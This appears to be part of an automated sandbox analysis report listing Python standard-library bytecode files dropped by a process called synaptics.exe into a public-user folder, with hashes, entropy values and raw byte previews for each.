Preview:	o........'-d.........................@...sB...d.Z.d.d.l.Z.d.d.l.Z.e.j.Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.d.S.).z7Internal classes used by the gzip, lzma and bz2 modules.....Nc....................@...s0...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)...BaseStreamz.Mode-checking helper functions.c....................C...s....\|.j.r.t.d.....d.S.).Nz.I/O operation on closed file)...closed..ValueError....self..r.....0C:\Users\Public\QExvbmVOb25l\lib\_compression.py.._check_not_closed....s..........z.BaseStream._check_not_closedc....................C........\|.....s.t...d.....d.S.).Nz.File not open for reading)...readable..io..UnsupportedOperationr....r....r....r......_check_can_read...............z.BaseStream._check_can_readc....................C...r....).Nz.File not open for writing)...writabler....r....r....r....r....r......_check_can_write....r....z.BaseStream._check_can_writec....................C...s(...\|.....s.t...d.....\|.....s.t...d.....d.S.).Nz3Seeking is only supported on file

C:\Users\Public\QExvbmVOb25l\lib\pycache\_sitebuiltins.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	3560
Entropy (8bit):	5.07663630249693
Encrypted:	false
SSDEEP:	96:PLsOn3Ch9/uydg7ls3pl+ltJ5+XdaCjteUzCt/BHKGZEIy0EEt:PLs8Cfcls3plwtJEXdaIeUzMJty0EG
MD5:	02B08A8777898FFA63ACE79933840EDE
SHA1:	B66A6C781D353645B60490807B73F20AD2202A63
SHA-256:	CA83A1ADD4CF3E79B662FF8FC0A094B9D68A186DDA6619BB3758503FF20EAB09
SHA-512:	51AA92D4C58B06380F18328ABAAC72284717A821B0FDF08309C66D3BEEAC13D6F7B20740EC1B7DD7D8B174F6AEE68595AEA1A4E88ED1083CA20986606284A483
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s@...d.Z.d.d.l.Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.S.).z=.The objects used by the site module to add custom builtins.......Nc....................@...s&...e.Z.d.Z.d.d...Z.d.d...Z.d.d.d...Z.d.S.)...Quitterc....................C...s....\|.\|._.\|.\|._.d.S...N....name..eof)...selfr....r......r.....1C:\Users\Public\QExvbmVOb25l\lib\_sitebuiltins.py..__init__....s........z.Quitter.__init__c....................C...s....d.\|.j.\|.j.f...S.).Nz.Use %s() or %s to exitr......r....r....r....r......__repr__....s......z.Quitter.__repr__Nc....................C...s&...z.t.j.......W.t.\|...........Y.t.\|.....r....)...sys..stdin..close..SystemExit).r......coder....r....r......__call__....s................z.Quitter.__call__r....)...__name__..__module__..__qualname__r....r....r....r....r....r....r....r........s............r....c....................@...s6...e.Z.d.Z.d.Z.d.Z.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)..._Printerzninteractive prompt objects for prin

C:\Users\Public\QExvbmVOb25l\lib\pycache\_weakrefset.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	7621
Entropy (8bit):	4.6115045510590225
Encrypted:	false
SSDEEP:	192:6oIAmOjav3ze0qLnKFHWpLiEEskjXoNizml+Ws2w13TvqcJlnqJEqBTgztqetKHs:3IAbj236LTKF2pLiE3kjXoEzml+Ws2wV
MD5:	A93DBD13CC36FB1CF8CC9B7081F3AA19
SHA1:	937C31A6577EA326A12A3FA28A1B079CBFB8C835
SHA-256:	F1FDC082CF96C8065C324AC72B43E20C037DE7BFD555BCD9CBA53B8305A70066
SHA-512:	0E2C9C67B531C5A4E04B842CF353452BC285370BCFDA1A58A90A9E5E20E658F0CA72E382679897920D8990398C29E8B3EEC385F15B32A625714B738843F9BDCC
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s>...d.d.l.m.Z...d.d.l.m.Z...d.g.Z.G.d.d...d...Z.G.d.d...d...Z.d.S.)..........ref)...GenericAlias..WeakSetc....................@...s$...e.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.S.)..._IterationGuardc....................C...s....t.\|...\|._.d.S...N).r......weakcontainer)...selfr......r...../C:\Users\Public\QExvbmVOb25l\lib\_weakrefset.py..__init__....s......z._IterationGuard.__init__c....................C...s ...\|.....}.\|.d.u.r.\|.j...\|.....\|.S.r....).r......_iterating..add).r......wr....r....r......__enter__....s............z._IterationGuard.__enter__c....................C...s8...\|.....}.\|.d.u.r.\|.j.}.\|...\|.....\|.s.\|.......d.S.d.S.d.S.r....).r....r......remove.._commit_removals).r......e..t..br......sr....r....r......__exit__....s....................z._IterationGuard.__exit__N)...__name__..__module__..__qualname__r....r....r....r....r....r....r....r........s............r....c....................@...s&...e.Z.d.Z.d@d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.

C:\Users\Public\QExvbmVOb25l\lib\pycache\abc.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	6764
Entropy (8bit):	5.125302554277043
Encrypted:	false
SSDEEP:	192:ic2+dPAF6MGWUls1p2N8R6Diag2z9o2Ue4loXLk5ebUtoH:j2+dPPMGxYtag2VXLk5ewc
MD5:	F652B2BE95086C5A295D33B907313E7D
SHA1:	3C9BA26D01695AADB1DBA32753D3D1BAC28CC3FD
SHA-256:	3E8DD6D0013BA0FEF3B2A80D5744289E3C62E34F07427E5A44E7A16F7DC6C772
SHA-512:	6CCA9D47DAA7CE216078E7E63D304D040CAECE6B110CB30C6FE639EEB40F0E07753633AD8C332CD26ECC06095CED73C01ED31E240BCD858F377D1B2FD38E2A2E
Malicious:	false
Reputation:	low
Preview:	o........'-d6........................@...s....d.Z.d.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.z.d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...W.n...e.yH......d.d.l.m.Z.m.Z...d.e._.Y.n.w.G.d.d...d.e...Z.d.d...Z.G.d.d...d.e.d...Z.d.S.).z3Abstract Base Classes (ABCs) according to PEP 3119.c....................C...s....d.\|._.\|.S.).a<...A decorator indicating abstract methods... Requires that the metaclass is ABCMeta or derived from it. A. class that has a metaclass derived from ABCMeta cannot be. instantiated unless all of its abstract methods are overridden.. The abstract methods can be called using any of the normal. 'super' call mechanisms. abstractmethod() may be used to declare. abstract methods for properties and descriptors... Usage:.. class C(metaclass=ABCMeta):. @abstractmethod. def my_abstract_method(self, ...):. .... T)...__isabstractmethod__).Z.funcobj..r.....'C:\Users\Public\QExvbmVOb25l\lib\abc.py..ab

C:\Users\Public\QExvbmVOb25l\lib\pycache\ast.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	55752
Entropy (8bit):	5.278446087691415
Encrypted:	false
SSDEEP:	768:v4tQGlgD7UjM0gB2ze0GIHimylhWNbflS8rHKMAsSbUgUU0/9eKQddNhvDqIUy7w:v4+GlgD7Uj4B2XNHehW7uVvuIlPgj
MD5:	5BC5B230DC2A26F04CEE94AEC9F33158
SHA1:	7A93B420BF777753170523A6A735F8D46A973E04
SHA-256:	363954A7D63FCD4E9561A141DD7C8F7C5E25F8562EB9AE09CCE3106C8671D9AC
SHA-512:	2C50F3711F6E8A2D9B809011C13225A0683A8D6A299A28EA0BC549193C93F79ADEE7788432D4B0833B1CE288E7971E689904494ED28365C545AF1224DFBFD4D1
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s....d.Z.d.d.l.Z.d.d.l.T.d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z...d`d.d.d...d.d...Z.d.d...Z.dad.d...d.d...Z.d.d...Z.d.d...Z.dbd.d...Z.d.d...Z.d.d...Z.dcd.d...Z.d.d ..Z.d!d"..Z.d.d#..d$d%..Z.d&d'..Z.G.d(d)..d)e...Z.G.dd+..d+e...Z.e.e.d,..s.d-d...Z.d/d0..Z.e.e.e...e._.e.e.e...e._.G.d1d2..d2e ..Z!d3d4..Z"G.d5d6..d6e.e!d7..Z#G.d8d9..d9e.e!d7..Z$G.d:d;..d;e.e!d7..Z%G.d<d=..d=e.e!d7..Z&G.d>d?..d?e.e!d7..Z'e#e(e)ef.e$e+f.e%e,f.e&e d...e-f.e'e d@..f.i.Z.e#e-f.i.Z/e-d=e d...d=e(d6e)d6e*d6e+d9e,d;e d@..d?i.Z0G.dAdB..dBe1..Z2G.dCdD..dDe2..Z3G.dEdF..dFe2..Z4e.e5dG....s"dHdI..Z6dJdK..Z7e.e6e7..e5_8G.dLdM..dMe9..Z:G.dNdO..dOe;..Z<G.dPdQ..dQe;..Z=G.dRdS..dSe;..Z>dTe?e.j@jAd.......ZBG.dUdV..dVe...ZCdWZDdXZEg.eD..eE..R.ZFG.dYdZ..dZe...ZGd[d\..ZHd]d^..ZIeJd_k...ryeI....d.S.d.S.)daH.... ast. ~~~.. The `ast` module helps Python applications to process trees of the Python. abstract syntax grammar. The abstract syntax itself might change with. each Python re

C:\Users\Public\QExvbmVOb25l\lib\pycache\base64.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	17175
Entropy (8bit):	5.496809791634414
Encrypted:	false
SSDEEP:	192:KZvQ1tayn9wBqXY71hITEOtuAk8CUSSYkXJ20RQa83hg9M6o0RzuQcT/zlNFs61V:4qay9wgo71hITOtHYP9M70xuzRNG61V3
MD5:	9D08860527321B2AF680F9F02516272C
SHA1:	A9F653311F52A3CA0EAD0CFA45D86D547A4FF71F
SHA-256:	58A6CD8139E2D8E2E08D8AF2A159AB6E510A339568BB1DAEBF89A36A2B6FA127
SHA-512:	0B6288767F558D5B3860EA6B0237727D021FF5E34205D4C1A79DA02C9AFB96AFDDDAC444C2F3EBEED45E91208572EE7850CB8506AECF22160F78B466BD5642BD
Malicious:	false
Reputation:	low
Preview:	o........'-d.S.......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.g.d...Z.e.e.f.Z.d.d...Z.dQd.d...Z.dRd.d...Z.d.d...Z.d.d...Z.e...d.d...Z.e...d.d...Z.d.d...Z.d.d...Z.d.Z.d.Z.d.Z.d.Z.d.Z.i.a.i.a.d.d...Z.dSd.d...Z.d.d...Z.e.j.d d!..e._.dSd"d#..Z.e.j.d e.d$..e._.d%d&..Z.e.j.d'd!..e._.dTd(d)..Z.e.j.d'dd$..e._.d+d,..Z dTd-d...Z!d.a"d.a#d/Z$d0Z%dUd1d2..Z&d.d.d.d.d3..d4d5..Z'd.d.d6d7..d8d9..Z(d:Z)d.ad.a+d.a,dTd;d<..Z-d=d>..Z.d?Z/e/d@..dA..Z0dBdC..Z1dDdE..Z2dFdG..Z3dHdI..Z4dJdK..Z5dLdM..Z6dNdO..Z7e8dPk.r.e6....d.S.d.S.)VzDBase16, Base32, Base64 (RFC 3548), Base85 and Ascii85 data encodings.....N)...encode..decode..encodebytes..decodebytes..b64encode..b64decode..b32encode..b32decode..b32hexencode..b32hexdecode..b16encode..b16decode..b85encode..b85decode..a85encode..a85decode..standard_b64encode..standard_b64decode..urlsafe_b64encode..urlsafe_b64decodec....................C...sl...t.\|.t...r.z.\|...d...W.S...t.y.......t.d.....w.t.\|.t...r.\|.S.z.t.\|.......W.S...t.y5......t.d.\|.j.j.....d...

C:\Users\Public\QExvbmVOb25l\lib\pycache\bisect.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	2601
Entropy (8bit):	5.2176156290909645
Encrypted:	false
SSDEEP:	48:TChwHaPJ7Bn7V30EOCl7VU3OpOBn7B3wCLnCRl7VC39eV:TCh7Bx30EOC03OpOB93wGCRi34V
MD5:	E347D2F2FAFE6B8C94ADCD8874825E9E
SHA1:	3FE38B242A5BBE1DC656CB152AE65E9EED803DE5
SHA-256:	93A4FB26F551AFFC901DD6E8A9647B13E1441893B77CA38CF089C3663A6CE0A9
SHA-512:	6AD3AF2C2C6EE66CD4D2A4ADFA1A0E057A0FD002B249300F47C7E9704972D1AEF05F21F3B453AA5DD10FBED567B27C026D66BF5E3A2054D8C064626639379C55
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...sp...d.Z.d.d.d...d.d...Z.d.d.d...d.d...Z.d.d.d...d.d...Z.d.d.d...d.d...Z.z.d.d.l.T.W.n...e.y1......Y.n.w.e.Z.e.Z.d.S.).z.Bisection algorithms......N....keyc....................C....>...\|.d.u.r.t.\|.\|.\|.\|...}.n.t.\|.\|.\|...\|.\|.\|.d...}.\|...\|.\|.....d.S.).z.Insert item x in list a, and keep it sorted assuming a is sorted... If x is already in a, insert it to the right of the rightmost x... Optional args lo (default 0) and hi (default len(a)) bound the. slice of a to be searched.. Nr....)...bisect_right..insert....a..x..lo..hir......r.....*C:\Users\Public\QExvbmVOb25l\lib\bisect.py..insort_right....s............r....c....................C...s....\|.d.k.r.t.d.....\|.d.u.r.t.\|...}.\|.d.u.r1\|.\|.k.r/\|.\|...d...}.\|.\|.\|...k.r'\|.}.n.\|.d...}.\|.\|.k.s.\|.S.\|.\|.k.rN\|.\|...d...}.\|.\|.\|.\|.....k.rF\|.}.n.\|.d...}.\|.\|.k.s5\|.S.).a....Return the index where to insert item x in list a, assuming a is sorted... The return value i is such that all e in a[:i] have e <=

C:\Users\Public\QExvbmVOb25l\lib\pycache\bz2.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	10883
Entropy (8bit):	5.273434895618239
Encrypted:	false
SSDEEP:	192:66Eb2RL5RaQHzW6FVoDCGEUPIzSh/NHSN:3RL5RLpGPIzG/NyN
MD5:	67F18F8BF51412363C99EF09481528B9
SHA1:	53C69583DE5B514EEED0A42CCB3BF9909A4D2708
SHA-256:	CEB4FF349FC848D3386257E60D5AA336F5917F0E6E81C3E99EF6DA6AD444D800
SHA-512:	37E2626B2DCAF4EF78C7AD3FFA2AD1212C80EFBF75671247FF65CE2DA670254E253551479A2ECC23C1217850C6811FE1117AB165C04B092CBFD8F70975F0F3F5
Malicious:	false
Reputation:	low
Preview:	o........'-d./.......................@...s....d.Z.g.d...Z.d.Z.d.d.l.m.Z...d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z.m.Z...d.Z.d.Z.d.Z.G.d.d...d.e.j...Z.....d.d.d...Z.d.d.d...Z.d.d...Z.d.S.).z.Interface to the libbzip2 compression library...This module provides a file interface, classes for incremental.(de)compression, and functions for one-shot (de)compression..)...BZ2File..BZ2Compressor..BZ2Decompressor..open..compress..decompressz%Nadeem Vawda <nadeem.vawda@gmail.com>.....).r....N).r....r..............c....................@...s....e.Z.d.Z.d.Z.dd.d...d.d...Z.d.d...Z.e.d.d.....Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d+d.d...Z.d,d.d...Z.d,d.d...Z.d.d...Z.d,d.d...Z.d,d.d ..Z.d!d"..Z.d#d$..Z.e.j.f.d%d&..Z.d'd(..Z.d)S.)-r....a@...A file object providing transparent bzip2 (de)compression... A BZ2File can act as a wrapper for an existing file object, or refer. directly to a named file on disk... Note that BZ2File provides a binary* file interface - data read is. returned as bytes, and data t

C:\Users\Public\QExvbmVOb25l\lib\pycache\calendar.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	26316
Entropy (8bit):	5.2318516322769195
Encrypted:	false
SSDEEP:	768:qLfNsz3TQClly8bR9PS2qYRhWmBM2A9M/PNKGH:qhmHS2qgw29KGH
MD5:	6F6346D8B7485E409B6C121B774CDF63
SHA1:	4560BC78FA6A965C5DDC0BC639732DBAB041B9BF
SHA-256:	C47DB162E02835DB74757FD6B72B0B252F2D0D640D53071F922B957ACE68EA80
SHA-512:	93ABC0ABD4CADDA418CCB60BAE643D56789826B1F0BE44D6D7102C1668F33EFCC0B2E69E0EC9C26141EE323D974943D2468357ADC0CD1FBB639680E0F0680F22
Malicious:	false
Reputation:	low
Preview:	o........'-d.b.......................@...s....d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...g.d...Z.e.Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.Z.d.Z.g.d...Z.G.d.d...d...Z.G.d.d...d...Z.e.d...Z.e.d...Z.e.d...Z.e.d...Z.e.d...\.Z.Z.Z.Z.Z.Z.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z d.d...Z!d.d ..Z"d!d"..Z#G.d#d$..d$e$..Z%G.d%d&..d&e%..Z&G.d'd(..d(e%..Z'G.d)d..d..Z(G.d+d,..d,e&..Z)G.d-d...d.e'..Z*e&..Z+e+j,Z-d/d0..Z.e+j/Z0e+j1Z1e+j2Z3e+j4Z5e+j6Z6e+j7Z8e+j9Z:e+j;Z<d1Z=d2Z>e=e>f.d3d4..Z?e=e>f.d5d6..Z@d7ZAe..BeAd.d....C..ZDd8d9..ZEd:d;..ZFeGd<k.r.eFe.jH....d.S.d.S.)=a$...Calendar printing functions..Note when comparing these calendars to the ones printed by cal(1): By.default, these calendars have Monday as the first day of the week, and.Sunday as the last (the European convention). Use setfirstweekday() to.set the first day of the week (0=Monday, 6=Sunday)......N)...repeat)...IllegalMonthError..IllegalWeekdayError..setfirstweekday..firstweekday..isleap..leapdays..weekday..monthrange..monthcalendar..prmonth..m

C:\Users\Public\QExvbmVOb25l\lib\pycache\codecs.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	33232
Entropy (8bit):	5.022164527801481
Encrypted:	false
SSDEEP:	768:5v/o6wZxokNQceWYXgYD7msLySGRbmOZwENNflPKPBxKa:5hUkFrOZwENNflPKPBxKa
MD5:	6FA6A65F71E94B617C6B09F550AFB1A5
SHA1:	493D5DBD8BB4907A8F5D6968A5585BE0F597DF93
SHA-256:	47519EA63915306DAC39CF06D22ACFE336D2E0AD55022FC8A9BB1370D55E9F58
SHA-512:	34E6FB9A37E373B036ED005C2EB9A8AA22582D3D66C45C9382D281D332DA9C78A4E491AD6ED8831F21456FA42C1BDCF09268377991F116AE76E44ED16E442DC1
Malicious:	false
Reputation:	low
Preview:	o........'-d........................@...sD...d.Z.d.d.l.Z.d.d.l.Z.z.d.d.l.T.W.n...e.y"..Z...z.e.d.e.......d.Z.[.w.w.g.d...Z.d.Z.d...Z.Z.d...Z.Z.d.Z.d.Z.e.j.d.k.rAe...Z.Z.e.Z.n.e...Z.Z.e.Z.e.Z.e.Z.e.Z.e.Z.G.d.d...d.e...Z.G.d.d...d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z G.d.d...d...Z!G.d.d...d...Z"dCd#d$..Z#dDd%d&..Z$d'd(..Z%d)d..Z&d+d,..Z'd-d...Z(d/d0..Z)d1d2..ZdEd3d4..Z+dEd5d6..Z,d7d8..Z-d9d:..Z.z.e/d!..Z0e/d;..Z1e/d<..Z2e/d=..Z3e/d>..Z4e/d?..Z5W.n...e6y.......d.Z0d.Z1d.Z2d.Z3d.Z4d.Z5Y.n.w.d.Z7e7..r.d.d.l8Z8e9d@k...r e$e.j:dAdB..e._:e$e.j;dBdA..e._;d.S.d.S.)Fz. codecs -- Python Codec Registry, API and helpers....Written by Marc-Andre Lemburg (mal@lemburg.com)...(c) Copyright CNRI, All Rights Reserved. NO WARRANTY........N)...*z%Failed to load the builtin codecs: %s),..register..lookup..open..EncodedFile..BOM..BOM_BE..BOM_LE..BOM32_BE..BOM32_LE..BOM64_BE..BOM64_LE..BOM_UTF8..BOM_UTF16..BOM_UTF16_LE..BOM_UTF16_BE..BOM_UTF32..

C:\Users\Public\QExvbmVOb25l\lib\pycache\contextlib.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	20908
Entropy (8bit):	5.083956166779034
Encrypted:	false
SSDEEP:	384:rrfHbNxImphzxb/Dqd89tiVqnWcxavd5VCqXfNnpJ:vfHbNxhzpqd2OqnWvQAFf
MD5:	FB239E9BB3DB1B804BA6CEC9D6633670
SHA1:	EB3AD57CDADBF29A9539D83EAA6B3263DD51E817
SHA-256:	CDA6B84A2CCD746721405BC4021721BE9DABF44D04BBDEB80E39157448CEE31B
SHA-512:	AF45A4B34964D4C7F958A6481E103831B660CF664FE72FC3D7E324D3000292AD8FD3A815D66E1F21BF53D6CDBB1FDBA2038B31CA8804A5344724585CAF23D4F1
Malicious:	false
Reputation:	low
Preview:	o........'-d.h.......................@...s~...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z...g.d...Z.G.d.d...d.e.j...Z.G.d.d...d.e.j...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d...Z.G.d.d...d.e.e.e...Z.G.d.d...d.e.e.e...Z.d.d...Z.d.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d ..d e...Z.G.d!d"..d"e...Z.G.d#d$..d$e...Z.G.d%d&..d&..Z.G.d'd(..d(e.e...Z.G.d)d..de.e...Z.G.d+d,..d,e.e...Z d.S.)-z4Utilities for with-statement contexts. See PEP 343......N)...deque....wraps)...MethodType..GenericAlias)...asynccontextmanager..contextmanager..closing..nullcontext..AbstractContextManager..AbstractAsyncContextManager..AsyncExitStack..ContextDecorator..ExitStack..redirect_stdout..redirect_stderr..suppress..aclosingc....................@....:...e.Z.d.Z.d.Z.e.e...Z.d.d...Z.e.j.d.d.....Z.e.d.d.....Z.d.S.).r....z,An abstract base class for context managers.c....................C........\|.S...z0Return `self` upon entering the runtime context.......selfr....r......C:

C:\Users\Public\QExvbmVOb25l\lib\pycache\copy.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	7009
Entropy (8bit):	5.42128193557331
Encrypted:	false
SSDEEP:	192:lxPakDZxS5GXVc3isTDOuyib91quyccWEQTidqf2hMQkNv4n5q:Pa0/S5GlcR/Iib9wEREkidQ2Ov4k
MD5:	8A6882910EFF4F8BCDDEBEA1A635DF0B
SHA1:	57BB8DE367A62564558E2A3316077A6DD49E0445
SHA-256:	D3B997323BF5D5DBA53F0D5C94F608FD8358DF1EDDCC6CACB542514676E973C8
SHA-512:	523D910548F98ABEBA52779B9EEB05D3B69B0C1DDD21C46C048DE90597AFF062C7468E01EB9EDA6C906BF59B330049C08C455EB890AEE253246B3AF9A932AC3E
Malicious:	false
Reputation:	low
Preview:	o........'-d.#.......................@...sV...d.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...G.d.d...d.e...Z.e.Z.z.d.d.l.m.Z...W.n...e.y-......d.Z.Y.n.w.g.d...Z.d.d...Z.i...Z.Z.d.d...Z.e.d...e.e.e.e.e.e.e.e.e.e.e.e.e.j.e.e...e.e...e.j.e.j f.D.].Z!e.e.e!<.q[e"e.d.d...Z!e!d.u.rpe.e.e!<.e#j.e.e#<.e$j.e.e$<.e%j.e.e%<.e&j.e.e&<.e.d.u.r.e.j.e.e.<.[.[!d.g.f.d.d...Z'i...Z(Z.d.d...Z)e)e.e.d...<.e)e.e.e...<.e)e.e.e...<.e)e.e.<.e)e.e.<.e)e.e.<.e)e.e.<.e)e.e.<.e)e.e.<.e)e.e.j*<.e)e.e.<.e)e.e.<.e)e.e.j.<.e)e.e.j.<.e)e.e.j <.e)e.e.<.e'f.d.d...Z+e+e.e#<.e'f.d.d...Z,e,e.e.<.e'f.d.d...Z-e-e.e$<.e.d.u...r.e-e.e.<.d.d...Z.e.e.e.j/<.[.d.d...Z0..d.e'd...d.d...Z1[.[.[.d.S.).a....Generic (shallow and deep) copying operations...Interface summary:.. import copy.. x = copy.copy(y) # make a shallow copy of y. x = copy.deepcopy(y) # make a deep copy of y..For module specific errors, copy.Error is raised...The difference between shallow and deep copying is only relevant for.compound objects (object

C:\Users\Public\QExvbmVOb25l\lib\pycache\copyreg.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	4696
Entropy (8bit):	5.303895801025462
Encrypted:	false
SSDEEP:	96:ZCI7QMLHGjZ99X1XBrxbbJz0uqhUaCWfqmb5p2LYHjmTrhqH3TpYXGP2:HvHGTBrpb56eWfhqLYHjmTkH3TpY2P2
MD5:	4956B984789B3AD8CADD785E32F6FBDA
SHA1:	33C23B1CB5AF3775A19858ABF80E0523C14314A6
SHA-256:	FC9898F699ADF969F40BF7E4AEAB254B8616B90D79ED18B8111473B63D1DBCA8
SHA-512:	C0EDEE3095EB4024FCA2573E28FC51E6A1546072CA7299CD8CAE05163EE45676B9903CA1B8B07137E95BE06116ABF7DC1BCBEF95EBD651B42AEB5F97BBA905F5
Malicious:	false
Reputation:	low
Preview:	o........'-d.........................@...s....d.Z.g.d...Z.i.Z.d.d.d...Z.d.d...Z.z.e...W.n...e.y.......Y.n.w.d.d...Z.e.e.e.e.....d.d...Z.e.e.e.e.B...e.....d.d...Z.d.Z.e.e.j...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.i.Z.i.Z.i.Z.d.d...Z.d.d...Z.d.d...Z.d.S.).z.Helper to provide extensibility for pickle...This is only useful to add pickle support for extension types defined in.C, not for instances of user-defined classes..)...pickle..constructor..add_extension..remove_extension..clear_extension_cacheNc....................C...s0...t.\|...s.t.d.....\|.t.\|.<.\|.d.u.r.t.\|.....d.S.d.S.).Nz$reduction functions must be callable)...callable..TypeError..dispatch_tabler....).Z.ob_typeZ.pickle_functionZ.constructor_ob..r.....+C:\Users\Public\QExvbmVOb25l\lib\copyreg.pyr........s................r....c....................C...s....t.\|...s.t.d.....d.S.).Nz.constructors must be callable).r....r....)...objectr....r....r....r........s..........r....c....................C...s....t.\|.j.\|.j.f.f.S...N)...complex..real..

C:\Users\Public\QExvbmVOb25l\lib\pycache\csv.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	11811
Entropy (8bit):	5.44611565753646
Encrypted:	false
SSDEEP:	192:WJq1+BG5hSIQIWWvBMKumwKZdlXiWQA3LYPqOW9PJFoKzckOMsj9XCCDH:WJqJLSIQ2OKuuZrXiWQA0shzJaYWH
MD5:	8478D69950654B565547F512ECB134FE
SHA1:	17E227E0F1F7CEDA398E7686366E65842DBE4871
SHA-256:	857FB4AFFE24A3C2832216CDA181338D5469A5B6A9D02DBC4D97C5008EFAC260
SHA-512:	2FEF72AB585D43E98F939F4EF328B773016929ACC1C8B94E94C0C3CD735A7F71D9413F7F2592BCE6884688C5E22FB7F93D1AB0DB4FF2B2227DF05C5DC0F86CE3
Malicious:	false
Reputation:	low
Preview:	o........'-dZ@.......................@...s....d.Z.d.d.l.Z.d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...g.d...Z.G.d.d...d...Z.G.d.d...d.e...Z.e.d.e.....G.d.d...d.e...Z.e.d.e.....G.d.d...d.e...Z.e.d.e.....G.d.d...d...Z.G.d.d...d...Z.z.e...W.n...e.y.......e.Z.Y.n.w.G.d.d...d...Z.d.S.).z+.csv.py - read/write/investigate CSV files......N)...Error..__version__..writer..reader..register_dialect..unregister_dialect..get_dialect..list_dialects..field_size_limit..QUOTE_MINIMAL..QUOTE_ALL..QUOTE_NONNUMERIC..QUOTE_NONE..__doc__)...Dialect)...StringIO).r....r....r....r....r....r....r......excel..excel_tabr....r....r....r....r....r......Snifferr....r......DictReader..DictWriter..unix_dialectc....................@...sD...e.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.S.).r....z.Describe a CSV dialect... This must be subclassed (see csv.excel). Valid attributes are:. delimiter, quotechar, escapechar, doublequote, skipinitialspace,.

C:\Users\Public\QExvbmVOb25l\lib\pycache\datetime.cpython-310.pyc (copy)

Download File

Process:	C:\Users\Public\QExvbmVOb25l\synaptics.exe
File Type:	data
Category:	dropped
Size (bytes):	56546
Entropy (8bit):	5.249930277934686
Encrypted:	false
SSDEEP:	1536:NoP8dGbiwEyaNVxLZnkM238oZMpA635Kw9uUFoYH:NW+1LMP0
MD5:	8151DD2F38C63F1B9D66144A6A90246A
SHA1:	B9A6C9B8425F367AC9F492517126356969EF0A46
SHA-256:	D3A053F9B935CB2EBD2B4716703A6281C129EE94664850E8F4651F4689222FAA
SHA-512:	481CDAE98BE67B17039B6279FFCDBC027DB6CEA5ABD189F3F9C51B90682F249F39262BB6D94277571F52828948DDEEFB07B6660AE2E2C25C06AB4C1E0300AEE5
Malicious:	false
Reputation:	low
